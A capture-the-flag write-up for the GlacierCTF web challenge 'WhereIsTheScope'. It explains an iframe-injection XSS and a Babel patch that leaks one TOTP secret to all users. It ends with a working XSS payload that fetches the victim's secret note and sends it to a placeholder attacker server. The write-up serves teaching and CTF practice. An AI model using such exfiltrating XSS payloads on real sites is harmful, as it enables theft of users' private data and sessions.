GlacierCTF WhereIsTheScope
Challenge author: XSSKevin from LosFuzzys
The task includes files:
a `client` directory that enables:
editing a URL query
loading a YouTube video from a URL,
saving notes, but not loading,
2FA token setup,
reporting a URL,
a `server` directory with an Express app that:
setup a middleware layer that handles sessions,
a backend for 2FA token setup,
save and load secret notes,
a report feature, typically called `bot` that visits a reported URL in a session that has access to the flag,
a patch for Babel - a JavaScript compiler.
General
To sum up, the app enables:
watching YT videos,
making and loading notes,
reporting a URL,
generating 2FA token:
From the challenge setup, we can assume that it involves:
an XSS because we have a function to visit a URL,
a Babel compiler patch, it looks suspicious enough, right?
When we look at the bo `report` function, we can see that the flag is stored in the `secret_note`, so the solution seems to involve requesting a `secret_note`.
app.post("/report", async (req, res) => {
try {
…
await page.evaluate(async message => {
await fetch("/setup_2fa", {method: "POST"});
await fetch("/secret_note", {
method: "POST",
body: JSON.stringify({message}),
headers: {
"Content-Type": "application/json"
}
});
}, FLAG)
…
}
Let’s look at the file server/app.js at the function `secret_note` endpoint. From the code below, we see that in order to get `secret_note`, we have to get both `sessionId` and `token`.
app.get("/secret_note", (req, res) => {
const sessionId = req.session.id;
if(Object.keys(totp_tokens).includes(sessionId)) {
const token = req.query.token;
if(typeof token !== "string") return res.status(400).send("Missing TOTP token in search query.")
const delta = totp_tokens[sessionId].validate({token, window: 1})
if(delta === null) return res.status(400).send("Invalid TOTP token!")
}
res.json({
message: secret_notes[sessionId]
})
});
Stage 1: Find XXS
Let’s look for an entry point for XSS. To find XSS, we look for some HTML injection that is executed in a client browser with input that we control. The client `/index.js` file function `loadFromQuery` looks promising.
function loadFromQuery() {
…
var ifconfig = {
pathname: `<iframe frameborder="0" width=950 height=570 src="${parseURI(uri)}"></iframe>`
}
..
}
function parseURI(uri) {
const uriParts = new URL(uri);
if(uriParts.origin === "https://www.youtube.com")
return uri;
// If user does not provide a youtube uri, we take the default one.
return "https://www.youtube.com…";
}
The URL is barely checked - it just needs to start with https://www.youtube.com, but then we can inject whatever we want. For example: “></iframe><script>alert(1)</script>.
Stage 2: Get sessionId and TOTP
SessionId
SessionId is stored in the cookie of a bot, so if we execute the code in the context of the `bot` session, it will be passed through. It is not possible to steal it by client-side JS code by looking at `document.cookie` because of the httpOnly flag.
app.use(session({
secret: crypto.randomBytes(32).toString("base64"),
cookie: {
httpOnly: true
}
}))
TOTP
TOTP is a time-based one-time password. It is used for user authentication. Let’s setup TOTP token twice:
curl 0.0.0.0:8080/setup_2fa -X POST
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=LWLNSLDIVZVERYSVSOEIBPB7JHMHC3JA3GJMJR5ZUCRHEXIUUDCA&algorithm=SHA3-384&digits=9&period=43"}%
curl 0.0.0.0:8080/setup_2fa -X POST
{"totp":"otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=LWLNSLDIVZVERYSVSOEIBPB7JHMHC3JA3GJMJR5ZUCRHEXIUUDCA&algorithm=SHA3-384&digits=9&period=43"}%
Can you see anything unusual?
curl doesn’t store any cookies, but we received the same secret twice, which means if we know our secret, we know the secret for all users. Looks like `crypto.randomBytes` below doesn’t work as intended. The exploit was introduced in the Babel compiler patch.
function getTOTPSecretToken() {
var token = otpauth.Secret.fromHex(crypto.randomBytes(32).toString("hex"))
return token;
}
Babel compiler patch
diff --git a/node_modules/babel-generator/lib/generators/statements.js b/node_modules/babel-generator/lib/generators/statements.js
index d74b191..354b3fe 100644
--- a/node_modules/babel-generator/lib/generators/statements.js
+++ b/node_modules/babel-generator/lib/generators/statements.js
@@ -264,7 +264,8 @@ function constDeclarationIdent() {
}
function VariableDeclaration(node, parent) {
- this.word(node.kind);
+ if(node.kind[0] == "c")
+ this.word("var");
this.space();
var hasInits = false;
@@ -308,9 +309,27 @@ function VariableDeclarator(node) {
this.print(node.id, node);
this.print(node.id.typeAnnotation, node);
if (node.init) {
- this.space();
+ this.space()
this.token("=");
+ this.space()
+ this.token("typeof");
+ this.token(" ");
+ this.print(node.id, node);
+ this.space();
+ this.token("!==")
+ this.space();
+ this.token("'undefined'")
+ this.space();
+ this.token("?");
+ this.space();
+ this.print(node.id, node);
+ this.space();
+ this.token(":");
this.space();
+ if(node.init.type !== "StringLiteral" && node.init.type !== "NumericLiteral" && node.init.type !== "BigIntLiteral" && node.init.type !== "DecimalLiteral" && node.init.type !== "DirectiveLiteral")
+ this.token("(");
this.print(node.init, node);
+ if(node.init.type !== "StringLiteral" && node.init.type !== "NumericLiteral" && node.init.type !== "BigIntLiteral" && node.init.type !== "DecimalLiteral" && node.init.type !== "DirectiveLiteral")
+ this.token(")");
}
}
Let’s see what this path does by looking at the example:
If we have a variable declared with ‘var’ like:
`var x = foo()`
the patched compiler would produce:
`x = typeof x !== “undefined” ? x : (foo())`
function getTOTPSecretToken() {
var token = otpauth.Secret.fromHex(crypto.randomBytes(32).toString("hex"))
return token;
}
will be translated to
function getTOTPSecretToken() {
token = typeof token !== “undefined” ? token : (otpauth.Secret.fromHex(crypto.randomBytes(32).toString("hex")))
return token;
}
The token now has a global scope, so after first initialisation, it won't be `undefined`, and the function returns the TOTP secret that was already generated.
Exploit
Let’s fetch the `secret_note`. We can see from the below code that the `token` is just passed through the URL parameter `token.`
app.get("/secret_note", (req, res) => {
const sessionId = req.session.id;
if(Object.keys(totp_tokens).includes(sessionId)) {
const token = req.query.token;
…
res.json({
message: secret_notes[sessionId]
})
});
Next, let’s prepare the payload that will read a secret note and send it to our server. First, click the `Setup 2FA` to get the server’s secret:
Next, paste the secret to the TOTP generator to get a token.
otpauth = require('otpauth')
const totp = new otpauth.TOTP({
issuer: "GlacierTV",
label: "2FA",
algorithm: "SHA3-384",
digits: 9,
period: 43,
secret: 'LWLNSLDIVZVERYSVSOEIBPB7JHMHC3JA3GJMJR5ZUCRHEXIUUDCA'
});
console.log(
totp.generate()
)
Next, let’s look at the code client code again, so we know how to construct a payload:
function loadFromQuery() {
const query = new URLSearchParams(window.location.search);
const source = query.get("source") || "youtube";
const uri = query.get("uri");
document.getElementById("searchInput").value = uri || "https://www.youtube.com…";
if(!uri) return false;
updateSource(uri, source);
var ifconfig = {
pathname: `<iframe frameborder="0" width=950 height=570 src="${parseURI(uri)}"></iframe>`
}
document.getElementById("viewer").srcdoc = ifconfig.pathname;
return true;
}
The first part is just the CTF challenge website, followed by two parameters, `source` and `uri`, as in the above code scheme. Second, we escape the payload and add the script that gets the `secret_note` endpoint with the TOTP token parameter. Next, we convert the response into a text. Finally, we passed it (url encoded) as a parameter to our server request.
CTF_WEBPAGE ? source=youtube & uri=https://www.youtube.com/embed/ “ > </iframe>
<script>
fetch('/secret_note?token=TOKEN_FROM_TOTP_GENERATOR')
.then(x => x.text()).then(y => location.href='OUR_SERVER?x='+escape(y))
</script>"
We report it to the bot and wait for a flag:
"GET /?x=%7B%22message%22%3A%22gctf%7Bdummy%7D%22%7D HTTP/1.1" 200
Let me know in the comments if you have any questions or if you’d like to see a solution to any other web CTF task!
Happy hacking! Bye!